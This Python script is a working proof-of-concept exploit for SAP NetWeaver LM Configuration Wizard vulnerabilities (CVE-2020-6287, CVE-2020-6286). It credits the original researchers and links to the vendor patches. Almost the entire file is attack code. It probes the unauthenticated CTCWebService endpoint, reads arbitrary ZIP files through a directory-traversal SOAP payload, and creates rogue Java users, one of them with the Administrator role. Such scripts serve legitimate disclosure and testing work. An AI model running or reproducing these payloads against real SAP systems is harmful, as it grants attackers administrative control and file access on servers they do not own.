RECON.py

#!/usr/bin/env python3

__author__ = 'chipik'

import base64
import random
import requests
import argparse
import xml.etree.ElementTree as ET

help_desc = '''
PoC for CVE-2020-6287,  (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding: 
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy

Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner

Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665
'''


def detect_vuln(base_url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC"}
    status = 'OK'
    checks =  {"name":"Check1","path":"/CTCWebService/CTCWebServiceBean","sign_status":200}
    ans = requests.head(base_url + checks['path'], headers=headers, proxies=proxies, timeout=timeout, allow_redirects=False, verify=False)
    status_code = ans.status_code
    is_vulnerable = False
    ret_url=''
    # Check the status code
    if status_code == checks['sign_status']:
            is_vulnerable = True
            status = 'Vulnerable! [CVE-2020-6287] (RECON)'
            print ("%s - %s - %s" %(checks['name'], status, base_url + checks['path'] ))
            ret_url = base_url + checks['path']
    else:
        print ("%s - %s" %(checks['name'], status))
    return {"status":is_vulnerable, "url":ret_url}


def exploit_traversal(url, zipfile):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6286 PoC",
        "Content-Type":"text/xml;charset=UTF-8"}
    xml = '''
    <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
   <soapenv:Header/>
   <soapenv:Body>
      <urn:queryProtocol>
         <sessionID>/../../../../../../../../../../../../../../../../../..%s</sessionID>
      </urn:queryProtocol>
   </soapenv:Body>
</soapenv:Envelope>
    ''' % (zipfile.replace(".zip",""))
    ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
    if ans.status_code == 200:
        myroot = ET.fromstring(ans.content)
        zipb64 = ''
        for ret_val in myroot.iter('return'):
            zipb64 = ret_val.text
        if zipb64:
            zipdata = base64.b64decode(zipb64)
            filename = "zipfile_%d.zip" %(random.randint(1, 10000))
            with open(filename, 'wb') as f:
                f.write(zipdata)
            print("Ok! File %s was saved" % (filename))
        else:
            print("Error! Can't read file %s. Look's like there is no file %s on the server" % (zipfile, zipfile))
    else:
        print("Error! Can't read file %s. Status: %s" % (zipfile, ans.status_code))
    return

def generate_CreateUser_paylod():
    username = "sapRpoc%d" % (random.randint(5000, 10000))
    password = "Secure!PwD%d" % (random.randint(5000, 10000))
    p = "<root><user><JavaOrABAP>java</JavaOrABAP><username>%s</username><password>%s</password><userType>J</userType></user></root>" % (username, password)
    print("Going to create new user. %s:%s" % (username, password))
    return base64.b64encode(p.encode('utf-8')).decode('utf-8')

def generate_CreateAdmUser_paylod():
    username = "sapRpoc%d" % (random.randint(5000, 10000))
    password = "Secure!PwD%d" % (random.randint(5000, 10000))
    Rand_val = "ThisIsRnd%d" % (random.randint(5000, 10000))
    p = '''
            <PCK>
            <Usermanagement>
              <SAP_XI_PCK_CONFIG>
                <roleName>Administrator</roleName>
              </SAP_XI_PCK_CONFIG>
              <SAP_XI_PCK_COMMUNICATION>
                <roleName>%s</roleName>
              </SAP_XI_PCK_COMMUNICATION>
              <SAP_XI_PCK_MONITOR>
                <roleName>%s</roleName>
              </SAP_XI_PCK_MONITOR>
              <SAP_XI_PCK_ADMIN>
                <roleName>%s</roleName>
              </SAP_XI_PCK_ADMIN>
              <PCKUser>
                <userName secure="true">%s</userName>
                <password secure="true">%s</password>
              </PCKUser>
              <PCKReceiver>
                <userName>%s</userName>
                <password secure="true">%s</password>
              </PCKReceiver>
              <PCKMonitor>
                <userName>%s</userName>
                <password secure="true">%s</password>
              </PCKMonitor>
              <PCKAdmin>
                <userName>%s</userName>
                <password secure="true">%s</password>
              </PCKAdmin>
            </Usermanagement>
          </PCK>
    ''' % (Rand_val, Rand_val, Rand_val, username, password, Rand_val, Rand_val, Rand_val, Rand_val, Rand_val, Rand_val)
    print("Going to create new user %s:%s with role 'Administrator'" % (username, password))
    return base64.b64encode(p.encode('utf-8')).decode('utf-8')

def exploit_createUser(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC",
        "Content-Type": "text/xml;charset=UTF-8"}
    payload = generate_CreateUser_paylod()
    xml = '''
            <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
               <soapenv:Header/>
               <soapenv:Body>
                  <urn:executeSynchronious>
                     <identifier>
                        <component>sap.com/tc~lm~config~content</component>
                        <path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
                        <type></type>
                     </identifier>
                     <contextMessages>
                        <baData>
                        %s</baData>
                        <name>userDetails</name>
                     </contextMessages>
                  </urn:executeSynchronious>
               </soapenv:Body>
            </soapenv:Envelope>
        ''' % (payload)
    ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
    if ans.status_code == 200:
        print("Ok! User were created")
    else:
        print("Error! Can't create user. Status: %s" % (ans.status_code))
    return

def exploit_add_role(url):
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC",
        "Content-Type": "text/xml;charset=UTF-8"}
    payload = generate_CreateAdmUser_paylod()
    xml = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
                <soapenv:Header/>
                <soapenv:Body>
                  <urn:executeSynchronious>
                      <identifier>
                        <component>sap.com/tc~lm~config~content</component>
                        <path>content/Netweaver/PI_PCK/PCK/PCKProcess.cproc</path>
                     </identifier>
                     <contextMessages>
                        <baData>
                        %s
                        </baData>
                        <name>Netweaver.PI_PCK.PCK</name>
                     </contextMessages>
                  </urn:executeSynchronious>
                 </soapenv:Body>
              </soapenv:Envelope>
        ''' % (payload)
    try:
        ans = requests.post(url, headers=headers, proxies=proxies, timeout=timeout, data=xml, verify=False)
        if ans.status_code == 200:
            print("Ok! Admin user were created")
        else:
            print("Error! Can't create user. Status: %s" % (ans.status_code))
    except requests.exceptions.ReadTimeout:
        print("Ok! Admin user were created")
    return

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
    parser.add_argument('-H', '--host', default='127.0.0.1', help='Java NW host (default: 127.0.0.1)')
    parser.add_argument('-P', '--port', default=50000, type=int, help='Java NW web port (default: tcp/50000)')
    parser.add_argument('-p', '--proxy', help='Use proxy (ex: 127.0.0.1:8080)')
    parser.add_argument('-s', '--ssl', action='store_true', help='enable SSL')
    parser.add_argument('-c', '--check', action='store_true', help='just detect vulnerability')
    parser.add_argument('-f', '--zipfile', default='', help='ZIP file to read. CVE-2020-6286')
    parser.add_argument('-u', '--user', action='store_true', help='Create simple JAVA user. CVE-2020-6287')
    parser.add_argument('-a', '--admin', action='store_true', help='Create JAVA user with role "Administrator". CVE-2020-6287')
    parser.add_argument('--timeout', default=10, type=int, help='HTTP connection timeout in second (default: 10)')
    parser.add_argument('-v', '--verbose', action='store_true', help='verbose mode')
    args = parser.parse_args()
    timeout = args.timeout

    proxies = {}
    verify = True
    if args.proxy:
        verify = False
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }
    if args.ssl:
        base_url = "https://%s:%s" % (args.host, args.port)
    else:
        base_url = "http://%s:%s" % (args.host, args.port)
    if args.check:
        detect_vuln(base_url)
        exit()
    if args.zipfile:
        result = detect_vuln(base_url)
        if result["status"]:
            exploit_traversal(result["url"].replace("?wsdl",""),args.zipfile)
    if args.user:
        result = detect_vuln(base_url)
        if result["status"]:
            exploit_createUser(result["url"].replace("?wsdl", ""))
    if args.admin:
        result = detect_vuln(base_url)
        if result["status"]:
            exploit_add_role(result["url"].replace("?wsdl", ""))